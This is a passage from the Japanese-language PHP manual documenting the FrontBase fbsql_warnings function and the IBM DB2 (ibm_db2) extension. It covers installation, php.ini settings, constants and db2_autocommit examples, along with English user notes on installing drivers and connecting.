この接続で使用する現在のユーザー名を文字列で返します。

参考

  • fbsql_password() - 接続に対して使用するユーザーパスワードを取得あるいは設定する
  • fbsql_hostname() - 接続で使用されているホスト名を取得あるいは設定する

User Contributed Notes

There are no user contributed notes for this page.


FrontBase 警告を有効または無効にする

  • ≪ fbsql_username
  • IBM DB2 ≫
  • PHP Manual
  • FrontBase 関数
  • FrontBase 警告を有効または無効にする

fbsql_warnings

(PHP 4 >= 4.0.6, PHP 5 < 5.3.0)

fbsql_warnings — FrontBase 警告を有効または無効にする

説明

fbsql_warnings ( bool $OnOff = ? ) : bool

FrontBase の警告を有効または無効にします。

パラメータ

OnOff

警告を有効にするかしないか。

返り値

警告をオンにした場合は true、そうでない場合は false を返します。

参考

  • fbsql_errno() - 前の FrontBase 操作によるエラーメッセージの数値を返す
  • fbsql_error() - 前の FrontBase 操作によるエラーメッセージの文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


IBM DB2、Cloudscape および Apache Derby

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • IBM DB2 関数
    • db2_autocommit — データベース接続の AUTOCOMMIT の状態を取得または設定する
    • db2_bind_param — PHP 変数を SQL 文のパラメータにバインドする
    • db2_client_info — DB2 データベースクライアントの情報をプロパティに保持するオブジェクトを返す
    • db2_close — データベース接続を閉じる
    • db2_column_privileges — テーブルのカラムおよび関連する権限情報を含む結果セットを返す
    • db2_columns — テーブルのカラムおよび関連するメタデータを含む結果セットを返す
    • db2_commit — トランザクションをコミットする
    • db2_conn_error — 直近の接続から返された SQLSTATE を含む文字列を返す
    • db2_conn_errormsg — 直近の接続エラーメッセージおよび SQLCODE を返す
    • db2_connect — データベースへの接続を返す
    • db2_cursor_type — ステートメントリソースが使用しているカーソルの型を返す
    • db2_escape_string — 特定の文字をエスケープする
    • db2_exec — SQL 文を直接実行する
    • db2_execute — プリペアドステートメントを実行する
    • db2_fetch_array — 結果セット内の行を表す、カラム位置をインデックスとする配列を返す
    • db2_fetch_assoc — 結果セット内の行を表す、カラム名をインデックスとする配列を返す
    • db2_fetch_both — 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す
    • db2_fetch_object — 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す
    • db2_fetch_row — 結果セットポインタを次の行あるいは要求された行に設定する
    • db2_field_display_size — カラムを表示するために必要な最大のバイト数を返す
    • db2_field_name — 結果セット内のカラムの名前を返す
    • db2_field_num — 結果セット内の指定したカラムの位置を返す
    • db2_field_precision — 結果セット内の指定したカラムの精度を返す
    • db2_field_scale — 結果セット内の指定したカラムの位取りを返す
    • db2_field_type — 結果セット内の指定したカラムのデータ型を返す
    • db2_field_width — 結果セット内の指定したカラムの現在値の幅を返す
    • db2_foreign_keys — テーブルの外部キーを含む結果セットを返す
    • db2_free_result — 結果セットに関連付けられたリソースを開放する
    • db2_free_stmt — 指定されたステートメントリソースに関連付けられたリソースを開放する
    • db2_get_option — ステートメントリソースあるいは接続リソースからオプションの値を取得する
    • db2_last_insert_id — この接続上で最後に成功した insert クエリが自動生成した ID を返す
    • db2_lob_read — LOB ファイルから、ユーザーが定義したサイズの内容を取得する
    • db2_next_result — ストアドプロシージャから、次の結果セットを要求する
    • db2_num_fields — 結果セットに含まれるフィールドの数を返す
    • db2_num_rows — SQL 文によって変更された行の数を返す
    • db2_pclose — 持続的データベース接続を閉じる
    • db2_pconnect — データベースへの持続的接続を返す
    • db2_prepare — 実行する SQL 文を準備する
    • db2_primary_keys — テーブルの主キーを含む結果セットを返す
    • db2_procedure_columns — ストアドプロシージャのパラメータを含む結果セットを返す
    • db2_procedures — データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
    • db2_result — 結果セットの行からひとつのカラムを返す
    • db2_rollback — トランザクションをロールバックする
    • db2_server_info — DB2 データベースサーバーの情報をプロパティに保持するオブジェクトを返す
    • db2_set_option — 接続リソースあるいはステートメントリソースのオプションを設定する
    • db2_special_columns — テーブルのユニーク行 ID カラムを含む結果セットを返す
    • db2_statistics — インデックスの情報およびテーブルの統計情報を含む結果セットを返す
    • db2_stmt_error — SQL 文が返す SQLSTATE を含む文字列を返す
    • db2_stmt_errormsg — 直近の SQL 文のエラーメッセージを含む文字列を返す
    • db2_table_privileges — データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
    • db2_tables — データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


はじめに

これらの関数により、DB2 Call Level Interface (DB2 CLI) を使用した IBM DB2 Universal Database、IBM Cloudscape および Apache Derby データベースへのアクセスが可能となります。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

Morten Bjoernsvik 07-May-2008 12:07
On linux I've found that I explicitly have to add the -c <path to php.ini> with the shell and
PHPIniDir="/etc/php.ini" in php5.conf or httpd.conf otherwise the ibm_db2.so is not loaded.

It doesn't help setting the --sysconfdir=/etc for configure when compiling.

% php -m | grep db2
% php -c /etc -m | grep db2
ibm_db2
juraj dot hrapko at gmail dot com 27-Apr-2008 11:36
After  installation of ibm_db2 on Linux, you have to add into php.ini:
extension=/path_to_file/ibm_db2.so
ibm_db2.instance_name=instance

Dont forget the path to ibm_db2.so. As for me it does not work without the path.


要件

IBM DB2 Universal Database for Linux・UNIX・Windows、 IBM Cloudscape、Apache Derby に接続するには、 PHP を稼動させるコンピュータ上に IBM DB2 Universal Database client がインストールされていなければなりません。 この拡張モジュールは、DB2 バージョン 8.2 を対象にして開発およびテストが行われています。

IBM DB2 Universal Database for z/OS・iSeries に接続するには、IBM DB2 Connect あるいはそれと同等の DRDA ゲートウェイソフトウェアも必要となります。

Linux あるいは Unix についての要件

これらの関数を使用する前には、PHP 実行ファイルあるいは SAPI を実行するユーザーで DB2 インスタンスを指定する必要があります。 php.ini で ibm_db2.instance_name を使用して DB2 インスタンス名を指定するか、 PHP 実行ファイルの起動前に DB2 インスタンスプロファイルを 読み込むことができます。

例えば、db2inst1 という名前の DB2 インスタンスを /home/db2inst1/ に作成した場合には php.ini に以下の行を追加します。

ibm_db2.instance_name=db2inst1
php.ini にこれを指定しない場合は、 DB2 へのアクセス用の環境変数を設定するために 以下のコマンドを実行しなければなりません。
bash$ source /home/db2inst1/sqllib/db2profile
PHP が使用できる Web サーバーからこれらの関数を使用するには、 php.ini で ibm_db2.instance_name を設定するか、 Web サーバーの起動スクリプト (/etc/init.d/httpd あるいは /etc/init.d/apache であることが多いでしょう) で DB2 インスタンス環境変数を読み込む必要があります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

ibm_db2 拡張モジュールをビルドするには、 DB2 アプリケーション開発用のヘッダファイルおよびライブラリが システムにインストールされていなければなりません。 これらのファイルはデフォルトではインストールされないので、 DB2 のインストーラをもう一度起動して このオプションを追加する必要があります。 IBM DB2 Universal Database の » サポートサイト にてフリーで公開されている DB2 Application Development Client に、これらのヘッダファイルが含まれています。

既に DB2 がインストールされている Linux や Unix 上に DB2 アプリケーション開発用のヘッダおよびライブラリを追加した場合は、 DB2 インスタンス内のヘッダファイルやライブラリに対する シンボリックリンクを更新するため、 コマンド db2iupdt -e を実行しなければなりません。

ibm_db2 は » PECL 拡張モジュールなので、 PECL 拡張モジュールのインストール の手順にしたがって PHP にインストールすることができます。 まず、DB2 ヘッダファイルおよびライブラリの場所を指定するために 次のように configure コマンドを実行します。

bash$ ./configure --with-IBM_DB2=/path/to/DB2
configure コマンドのデフォルト値は /opt/IBM/db2/V8.1 となっています。

注意: IIS ユーザー向けの注意

ibm_db2 ドライバを Microsoft Internet Information Server (IIS) で使用する場合は、以下ようにする必要があります。

  • DB2 を、拡張オペレーティングセキュリティ (extended operating system security) つきでインストールします。
  • PHP のバイナリへのパス (デフォルトは C:\php\) を、システムの環境変数 PATH に追加します。
  • システムの環境変数をもうひとつ作成し、PHP.INI のある場所を指定します (例: PHPRC = C:\php\)。
  • IUSR_COMPUTERNAME を DB2USERS グループに追加します。

User Contributed Notes

jean dot ferreira at gmail dot com 27-Sep-2013 08:16
==Installation ibm_db2 in PHP5, using Data Server Driver Package and pecl on Debian / Ubuntu==

==Advantages==
#You do not need DB2 (database) installed
#The ibm_db2 driver is downloaded and automatically compiled by pecl

==Steps==
#1- Install packages
apt-get install php-pear ksh zip

#2- Make directory
mkdir /opt/ibm

#3- Download Data Server Driver Package (dsdriver), as the architecture
(https://www-304.ibm.com/support/docview.wss?rs=4020&uid=swg27016878&wv=1)

#4- Decompress dsdriver at /opt/ibm/
tar -xvf v10.5fp1_linuxx64_dsdriver.tar.gz  (linux64)
or
tar -xvf v10.5fp1_linuxia32_dsdriver.tar.gz (linux32)

#5- Change permission instalation script  -  /opt/ibm/dsddriver
chmod 755 installDSDriver

#6- Run the installation script
ksh installDSDriver

#7- Download and install the driver using the pecl
pecl install ibm_db2

downloading ibm_db2-1.9.5.tgz ...
Starting to download ibm_db2-1.9.5.tgz (157,720 bytes)
................done: 157,720 bytes
5 source files, building
running: phpize
Configuring for:
PHP Api Version:         20090626
Zend Module Api No:      20090626
Zend Extension Api No:   220090626

#8- Configure the installation directory
DB2 Installation Directory? : /opt/ibm/dsdriver

Build process completed successfully
Installing '/usr/lib/php5/20090626/ibm_db2.so'
install ok: channel://pecl.php.net/ibm_db2-1.9.5
configuration option "php_ini" is not set to php.ini location
You should add "extension=ibm_db2.so" to php.ini

#9- Change php.ini
vim /etc/php5/apache2/php.ini
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
extension = ibm_db2.so
extension = /usr/lib/php5/20090626/ibm_db2.so

#10- Reboot the Apache
service apache2 restart
rifat dot aras at gmail dot com 29-Apr-2012 05:02
If you try to use the php_ibm_db2.dll that comes with the database while working with a WAMP server, you may have difficulties loading the ibm_db2 extension. You can understand this by checking the Apache error log.

This can be solved by downloading the correct dll by visiting http://sourceforge.net/projects/db2mc/files/ and then clicking "IBM_DB2 PHP Driver for Windows > PHP 5.(2|3)._ > VC(6|9) > php_ibm_db2-ver-(nts_ts)-vc(6|9)-x86.zip"

The correct dll version can be determined by checking the "Compiler" and "Thread Safety" fields on the php_info page.

Copy the dll to the extension directory, update the php.ini file, and restart the Apache service.
angoca at yahoo dot com 25-Nov-2011 08:29
In DB2 v9 the clients have changed their names. Now, they are called

Data server client

If you search in Internet "DB2 fixpack" you will get an IBM address like

http://www-01.ibm.com/support/docview.wss?uid=swg24031181

You select the DB2 version and fixpack level, then the platform and finally the product, that in this case is "Data Server client"
kpfitzgerald at gmail dot com 01-Apr-2011 10:14
Actually a much simpler way on SLES 11 SP1 and DB2 Express C  is to execute the following.

pecl install ibm_db2

when it asks for your path put in your location of SQLLIB not your db2 install. usually found here...

/home/db2inst1/sqllib

to verify execute
pecl list

Should show the following:

Installed packages, channel pecl.php.net:
=========================================
Package Version State
ibm_db2 1.9.1   stable
AngocA 27-Mar-2009 03:12
I installed this tool foolwing the next steps:

(Prereq: I've installed DB2 express-c before, and also Apache and php)

- Download the file: ibm_db2-1.8.2.tgz
- Untar the file: tar -xvf ibm_db2-1.8.2.tgz
- Go to the main directory
- Execute 'phpize' and that creates several files.
- Execute './configure --with-IBM_DB2=/opt/ibmn/db2/V9.5_01'
- Execute 'make'
- Execute 'make install'
- Modify the php.ini file in order to activate the ibm_db2.so extension.
    extension=ibm_db2.so

To check that the library is included: php -i

Then, you have to restart Apache: httpd -k restart


実行時設定

php.ini の設定により動作が変化します。

ibm_db2 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
ibm_db2.binmode | "1" | PHP_INI_ALL |
ibm_db2.i5_all_pconnect | "0" | PHP_INI_SYSTEM | ibm_db2 1.6.5 以降で利用可能。
ibm_db2.i5_allow_commit | "0" | PHP_INI_SYSTEM | ibm_db2 1.4.9 以降で利用可能。
ibm_db2.i5_dbcs_alloc | "0" | PHP_INI_SYSTEM | ibm_db2 1.5.0 以降で利用可能。
ibm_db2.instance_name | NULL | PHP_INI_SYSTEM | ibm_db2 1.0.2 以降で利用可能。
ibm_db2.i5_ignore_userid | "0" | PHP_INI_SYSTEM | ibm_db2 1.8.0 以降で利用可能。

以下に設定ディレクティブに関する 簡単な説明を示します。

ibm_db2.binmode int

このオプションは、バイナリデータを PHP アプリケーションで 使用する際のモードを制御します。

  • 1 (DB2_BINARY)

  • 2 (DB2_CONVERT)

  • 3 (DB2_PASSTHRU)

ibm_db2.i5_all_pconnect int

このオプションは、PHP アプリケーションにおける
i5 db2_connect() のオープンおよびクローズをオーバーライドします。
ibm_db2.i5_all_pconnect = 1 の場合は、すべての db2 接続が持続的なもの
(db2_pconnect()) となります。i5/OS 上での db2_pconnect() は、
db2_connect() よりはるかによいパフォーマンスを提供します。
このオプションは、PHP のソースコードを変更せずに
db2_connect() を db2_pconnect()
として動作させられるので便利です。

  • 0 db2_connect() のデフォルトのオープンおよびクローズです。

  • 1 db2_connect() は db2_pconnect() でオーバーライドされ、持続的な接続のみを使用します。

ibm_db2.i5_allow_commit int

このオプションは、i5 スキーマコレクションで使用するコミットモードを PHP アプリケーションで使用する際のモードを制御します (オーバーライドについては (see i5_commit を参照ください)。

  • 0 - コミット制御を使いません。

  • 1 - read uncommitted。ダーティリードの可能性があります。

  • 2 - read committed。ダーティリードは発生しません。

  • 3 - repeatable read。ダーティリードや非再現リードは発生しません。

  • 4 - serializeable。ダーティリードや非再現リードやファントムリードは発生しません。

ibm_db2.i5_dbcs_alloc int

このオプションは、ラージ DBCS カラムバッファ用の内部 ibm_db2 アロケーションスキームを制御します。

  • 0 は拡張アロケーションを使用しません (オーバーライドについては i5_dbcs_alloc を参照ください)。

  • 1 は拡張アロケーションを使用します (オーバーライドについては i5_dbcs_alloc を参照ください)。

ibm_db2.instance_name string

Linux および UNIX では、カタログデータベースへの接続に使用する インスタンス名をこのオプションで指定します。 このオプションは、環境変数 DB2INSTANCE の設定を上書きします。

Windows では、このオプションは無視されます。

ibm_db2.i5_ignore_userid int

このオプションは、PHP アプリケーション内での i5 db2_(p)connect のユーザー ID とパスワードをオーバーライドします。 ibm_db2.i5_ignore_userid = 1 の場合は、 すべての db2 (p)connections がユーザー ID とパスワードに null を使用するようになります。 したがって、Apache のジョブは現在のプロファイル (NOBODY) で接続するようになります。 このオーバーライドを使用するのは、シンプルな DB2 ベースのウェブサイトで プロファイルの切り替えが不要な場合のみです。これを使用すると、 サーバーモードで追加の QSQSRVR ジョブを行うオーバーヘッドを回避できます。 これは、db2_(p)connect でユーザー ID とパスワードに null 値を設定するという作業を PHP のソースコードを変更することなしに行えるようにするものです。 このオーバーライドは ibm_db2.i5_all_pconnect = 1 でも使用することができます。

  • 0 db2_(p)connect で、指定したユーザー ID とパスワードで接続します。

  • 1 db2_(p)connect は、ユーザー ID とパスワードを null でオーバーライドします。

User Contributed Notes

Satoru Yoshida 26-Dec-2012 01:42
The explanation of ibm_db2.i5_allow_commit seems to be slightly difficult to understand for me.

I think it would be better to replace "no commit" with "can not use commitment control" or "do not allow transaction", and "allow commit" would be changed into
"can use commitment control" or "allow transaction" , Thanks.
yoshida at zend dot co dot jp 22-Feb-2011 07:00
The explanation of ibm_db2.i5_dbcs_alloc seems to be hard to understand for me.

In ibm_db2 extension inside, 6 times length of string column is allocated if i5_dbcs_alloc value is 1.
The allocated area is used for conversion between UTF-8 and EBCDIC character encodings.

By the definition of UTF-8, letter length can need 6 bytes at the maximum.

Note:
In the case of a long column, allocated size may be beyond the upper limit defined in DB2 because original column is made by 6 times.  It can cause result data becomes null.


リソース型

ibm_db2 拡張モジュールは、接続リソース・ステートメントリソース および結果セットリソースを返します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

DB2_BINARY (int)
バイナリデータをそのままの形式で返します。デフォルトのモードです。
DB2_CONVERT (int)
バイナリデータを十六進表現にエンコードし、ASCII 文字列として返します。
DB2_PASSTHRU (int)
バイナリデータを null 値に変換します。
DB2_SCROLLABLE (int)
ステートメントのリソースとして、スクロール可能なカーソルを指定します。 このモードでは結果セット内の行へのランダムアクセスが可能となりますが、 現在は IBM DB2 Universal Database でしかサポートされていません。
DB2_FORWARD_ONLY (int)
ステートメントのリソースとして、前進のみ可能なカーソルを指定します。 これはデフォルトのカーソル型であり、 すべてのデータベースサーバーでサポートされています。
DB2_PARAM_IN (int)
PHP 変数を、ストアドプロシージャの IN パラメータとしてバインドします。
DB2_PARAM_OUT (int)
PHP 変数を、ストアドプロシージャの OUT パラメータとしてバインドします。
DB2_PARAM_INOUT (int)
PHP 変数を、ストアドプロシージャの INOUT パラメータとしてバインドします。
DB2_PARAM_FILE (int)
カラムを直接ファイルにバインドし、そのデータを読み込みます。
DB2_AUTOCOMMIT_ON (int)
自動コミットを有効にします。
DB2_AUTOCOMMIT_OFF (int)
自動コミットを無効にします。
DB2_DOUBLE (int)
変数を、データ型 DOUBLE、FLOAT あるいは REAL にバインドします。
DB2_LONG (int)
変数を、データ型 SMALLINT、INTEGER あるいは BIGINT にバインドします。
DB2_CHAR (int)
変数を、データ型 CHAR あるいは VARCHAR にバインドします。
DB2_CASE_NATURAL (int)
カラム名の大文字小文字を変換せずに返します。
DB2_CASE_LOWER (int)
カラム名を小文字に変換して返します。
DB2_CASE_UPPER (int)
カラム名を大文字に変換して返します。
DB2_DEFERRED_PREPARE_ON (int)
指定したステートメントリソースについて、遅延プリペアを有効にします。
DB2_DEFERRED_PREPARE_OFF (int)
指定したステートメントリソースについて、遅延プリペアを無効にします。

User Contributed Notes

There are no user contributed notes for this page.


IBM DB2 関数

目次

  • db2_autocommit — データベース接続の AUTOCOMMIT の状態を取得または設定する
  • db2_bind_param — PHP 変数を SQL 文のパラメータにバインドする
  • db2_client_info — DB2 データベースクライアントの情報をプロパティに保持するオブジェクトを返す
  • db2_close — データベース接続を閉じる
  • db2_column_privileges — テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns — テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_commit — トランザクションをコミットする
  • db2_conn_error — 直近の接続から返された SQLSTATE を含む文字列を返す
  • db2_conn_errormsg — 直近の接続エラーメッセージおよび SQLCODE を返す
  • db2_connect — データベースへの接続を返す
  • db2_cursor_type — ステートメントリソースが使用しているカーソルの型を返す
  • db2_escape_string — 特定の文字をエスケープする
  • db2_exec — SQL 文を直接実行する
  • db2_execute — プリペアドステートメントを実行する
  • db2_fetch_array — 結果セット内の行を表す、カラム位置をインデックスとする配列を返す
  • db2_fetch_assoc — 結果セット内の行を表す、カラム名をインデックスとする配列を返す
  • db2_fetch_both — 結果セット内の行を表す、 カラム位置およびカラム名の両方をインデックスとする配列を返す
  • db2_fetch_object — 結果セット内の行を表す、カラムをプロパティとするオブジェクトを返す
  • db2_fetch_row — 結果セットポインタを次の行あるいは要求された行に設定する
  • db2_field_display_size — カラムを表示するために必要な最大のバイト数を返す
  • db2_field_name — 結果セット内のカラムの名前を返す
  • db2_field_num — 結果セット内の指定したカラムの位置を返す
  • db2_field_precision — 結果セット内の指定したカラムの精度を返す
  • db2_field_scale — 結果セット内の指定したカラムの位取りを返す
  • db2_field_type — 結果セット内の指定したカラムのデータ型を返す
  • db2_field_width — 結果セット内の指定したカラムの現在値の幅を返す
  • db2_foreign_keys — テーブルの外部キーを含む結果セットを返す
  • db2_free_result — 結果セットに関連付けられたリソースを開放する
  • db2_free_stmt — 指定されたステートメントリソースに関連付けられたリソースを開放する
  • db2_get_option — ステートメントリソースあるいは接続リソースからオプションの値を取得する
  • db2_last_insert_id — この接続上で最後に成功した insert クエリが自動生成した ID を返す
  • db2_lob_read — LOB ファイルから、ユーザーが定義したサイズの内容を取得する
  • db2_next_result — ストアドプロシージャから、次の結果セットを要求する
  • db2_num_fields — 結果セットに含まれるフィールドの数を返す
  • db2_num_rows — SQL 文によって変更された行の数を返す
  • db2_pclose — 持続的データベース接続を閉じる
  • db2_pconnect — データベースへの持続的接続を返す
  • db2_prepare — 実行する SQL 文を準備する
  • db2_primary_keys — テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns — ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures — データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_result — 結果セットの行からひとつのカラムを返す
  • db2_rollback — トランザクションをロールバックする
  • db2_server_info — DB2 データベースサーバーの情報をプロパティに保持するオブジェクトを返す
  • db2_set_option — 接続リソースあるいはステートメントリソースのオプションを設定する
  • db2_special_columns — テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics — インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_stmt_error — SQL 文が返す SQLSTATE を含む文字列を返す
  • db2_stmt_errormsg — 直近の SQL 文のエラーメッセージを含む文字列を返す
  • db2_table_privileges — データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables — データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

igtoth at gmail dot com 10-May-2014 02:27
// IBM DB2 funcitons like MySQL (ODBC based)
// "Ighor Toth" <igtoth@gmail.com>
// Date: 08/05/2014

// usage:
// db2_connect(verbose,instance,username,password); -> also reads config file if nothing declared db2.conf.inc.php
// db2_query(db2_connect_return,sql)
// db2_fetch_array(result);
// db2_fetch_object(result);
// db2_display_table(db2_connect_return,sql); // select only

function db2_connect($verbose = null,$db2name = null,$username = null,$password = null) {
    if(!isset($verbose)){
        $verbose = TRUE; // TRUE or FALSE, if not set TRUE
    }
    if(!isset($db2name)){ // NOT DECLARED
        include("db2.conf.inc.php"); // CHECK CONFIG FILE
        if(!isset($db2name)){
            if ($verbose == TRUE){
                echo ("DB2 Instance not selected");
                exit();
            } else {
                exit();
            }
        }
    } else if (!isset($username)){
        echo ("DB2 Instance username not specified");
        exit();
    }
    $db2conn = odbc_connect($db2name, $username, $password);
    if (($verbose == TRUE) && ($db2conn == 0)) {
        echo("Connection to database failed.");
        $sqlerror = odbc_errormsg($db2conn);
        echo($sqlerror);
    }
    return($db2conn);
}

function db2_query($db2conn,$sql){
    $result = odbc_exec($db2conn, $sql);
    if ($result == 0) {
        echo("QUERY = '$sql' FAILED.<br>\n");
        $sqlerror = odbc_errormsg($db2conn);
        echo($sqlerror);
    } else {
        // odbc_result_all prints all of the rows
        // for a result set ID as an HTML table
        return $result;
    }
}

 function db2_fetch_array($result, $rownumber=null){
    $array = array();
    if (!($cols = odbc_fetch_into($result, $result_array, $rownumber))) {
        return false;
    }
    for ($i = 1; $i <= $cols; $i++) {
        $array[odbc_field_name($result, $i)] = $result_array[$i - 1];
    }
    return $array;
}

function db2_fetch_object($result){
    if(function_exists("db2_fetch_object")) return db2_fetch_object($result);
    $rs = array();
    $rs_obj = false;
    if( odbc_fetch_into($result, $rs) ){
        foreach( $rs as $key=>$value ){
            $fkey = odbc_field_name($result, $key+1);
            $rs_obj->$fkey = trim($value);
        }
    }
    return $rs_obj;
}

function db2_display_table($db2conn,$sql) {
    // select all rows from the table
    if(!isset($db2conn)||!isset($sql)){
        echo("ERROR db2_display_table: Function missing arguments");
        exit();
    }
    $check = explode(" ",$sql);
    if($check[0]!="SELECT"){
        echo("ERROR db2_display_table: Not SELECT SQL query");
    }
    if ($db2conn != 0) {
        // odbc_exec returns 0 if the statement fails;
        // otherwise it returns a result set ID
        $result = odbc_exec($db2conn, $sql);
        if ($result == 0) {
            echo("SELECT statement failed.");
            $sqlerror = odbc_errormsg($db2conn);
            echo($sqlerror);
        } else {
            // odbc_result_all prints all of the rows
            // for a result set ID as an HTML table
            odbc_result_all($result);
        }
    }
}
Richard dot Ablewhite at gmail dot com 11-Sep-2008 03:17
There seems to be a lot of good documentation
for Linux users compiling PHP with DB2 support,
but decent Windows notes are minimal.

You do not need to install full DB2 clients to get DB2
working with DB2, all you need is the IBM Data
Server Driver for ODBC, CLI, and .NET which is only
16.1 meg.

You can download the driver from here:

Direct Link:
ftp://ftp.software.ibm.com/ps/products/db2/fixes2/englsh-us/
db2_v95/dsdriver/fp2/v9.5fp2_nt32_dsdriver_EN.exe

Home Page:
http://www-01.ibm.com/support/docview.wss?rs=71&uid=swg21287889

This includes both the drivers required and the PHP
dll php_ibm_db2_5.2.2.dll

Once installed the drivers do not setup the correct
path environmental variable,
so add the following to your path:

C:\Program Files\IBM\IBM DATA SERVER DRIVER\bin

Once thats done all should work! No massive
400meg client downloads required.

Whats even better about these drivers is that you
dont need to install them,
you can simply copy the bin directory to any server,
add it to your path and it will just work.
This is great for anyone developing PHP-GTK applications,
I copy the bin directory into my php-gkt2 directory
and execute using the following batch script:

path = %PATH%;.\IBM DATA SERVER DRIVER\bin
php-win.exe %*

This lets me role out lightweight DB2 client desktop
apps that dont have to be installed,
can just be coppied from PC to PC or ran over a
network or from USB stick.

As your only installing the client drivers you wont be
able to catalog databases,
so always use the full connection string. Here is a
quick bit of code to get you started:

$database = 'databasename';
$user = 'user';
$password = 'password';
$hostname = '127.0.0.1';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;".
  "PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

$query = 'SELECT * FROM TABLE';
$res = db2_prepare($conn, $query);
db2_execute($res);

while ($row = db2_fetch_array($res)) {
  print_r($row);
}
brent dot halsey at gmail dot com 11-Jun-2008 10:57
Spent a lot of time trying to get this to work on a 64bit box.  You'll need to make sure you set your db2 client to 64 bit mode!  If you didn't set your instance to 64bit, you can run ./db2iupdt -w64 db2instance as root to set it.  Hope this helps someone!
Exi 05-Jun-2008 01:38
The DB/2 Run-Time-Client can be found here:
http://www-1.ibm.com/support/docview.wss?rs=71&uid=swg21255394
Select the 'Runtime Client Installable for Windows' further down the page and download it.
Clients for other platform (incl. 64-Bit Windows) are also available from that page.
kfoubert at sitecrafting dot com 29-Apr-2008 11:00
If you wish to connect to an iSeries Server, such as an AS/400, there are two options. Installing DB2 Express-C v9.5 and purchasing DB2 Connect Personal Edition for about $500 or getting System I Access for Linux, which is a free download. Please note the server requirements for each of these. For example, we originally went with DB2 Express-C and decided upon Ubuntu 7.10, but learned about System I Access, from an IBM rep, which requires redhat package manager, after the entire server was up and running.

DB2 Express-C
http://www-306.ibm.com/software/data/db2/express/

DB2 Connect Personal
http://www-306.ibm.com/software/data/db2/db2connect/edition-pe.html

System I Access for Linux
http://www-03.ibm.com/systems/i/software/access/index.html
NOTE: System I Access requires redhat package manager.


データベース接続の AUTOCOMMIT の状態を取得または設定する

  • ≪ IBM DB2 関数
  • db2_bind_param ≫
  • PHP Manual
  • IBM DB2 関数
  • データベース接続の AUTOCOMMIT の状態を取得または設定する

db2_autocommit

(PECL ibm_db2 >= 1.0.0)

db2_autocommit — データベース接続の AUTOCOMMIT の状態を取得または設定する

説明

db2_autocommit ( resource $connection , bool $value = ? ) : mixed

指定した接続リソースについての AUTOCOMMIT の状態を設定あるいは取得します。

パラメータ

connection

db2_connect() あるいは db2_pconnect() が返した有効なデータベース接続リソース。

value

以下の定数のいずれか。

DB2_AUTOCOMMIT_OFF

AUTOCOMMIT を無効にします。

DB2_AUTOCOMMIT_ON

AUTOCOMMIT を有効にします。

返り値

db2_autocommit() に connection パラメータのみを渡した場合、 指定した接続の AUTOCOMMIT の状態を整数値で返します。 DB2_AUTOCOMMIT_OFF の場合は無効、 DB2_AUTOCOMMIT_ON の場合は有効です。

db2_autocommit() に connection および autocommit の両方のパラメータを渡した場合、 指定した接続の AUTOCOMMIT を対応する状態に設定します。 成功した場合に true を、失敗した場合に false を返します。

例

例1 接続の AUTOCOMMIT 値の取得

以下の例では、AUTOCOMMIT を無効にした接続について db2_autocommit() 関数で調べます。

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);
$ac = db2_autocommit($conn);
if ($ac == DB2_AUTOCOMMIT_OFF) {
    print "$ac -- AUTOCOMMIT は無効です。";
} else {
    print "$ac -- AUTOCOMMIT が有効です。";
}
?>

上の例の出力は以下となります。

0 -- AUTOCOMMIT は無効です。

例2 接続の AUTOCOMMIT 値の設定

以下の例では、AUTOCOMMIT を無効にして作成した接続の AUTOCOMMIT を変更し、有効にします。

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);

// AUTOCOMMIT を有効にします
$rc = db2_autocommit($conn, DB2_AUTOCOMMIT_ON);
if ($rc) {
    print "AUTOCOMMIT を有効にしました。\n";
}

// AUTOCOMMIT の状態を調べます
$ac = db2_autocommit($conn);
if ($ac == DB2_AUTOCOMMIT_OFF) {
    print "$ac -- AUTOCOMMIT は無効です。";
} else {
    print "$ac -- AUTOCOMMIT が有効です。";
}
?>

上の例の出力は以下となります。

AUTOCOMMIT を有効にしました。
1 -- AUTOCOMMIT が有効です。

参考

  • db2_connect() - データベースへの接続を返す
  • db2_pconnect() - データベースへの持続的接続を返す

User Contributed Notes

There are no user contributed notes for this page.


PHP 変数を SQL 文のパラメータにバインドする

  • ≪ db2_autocommit
  • db2_client_info ≫
  • PHP Manual
  • IBM DB2 関数
  • PHP 変数を SQL 文のパラメータにバインドする

db2_bind_param

(PECL ibm_db2 >= 1.0.0)

db2_bind_param — PHP 変数を SQL 文のパラメータにバインドする

説明

db2_bind_param ( resource $stmt , int $parameter_number , string $variable_name , int $parameter_type = ? , int $data_type = 0 , int $precision = -1 , int $scale = 0 ) : bool

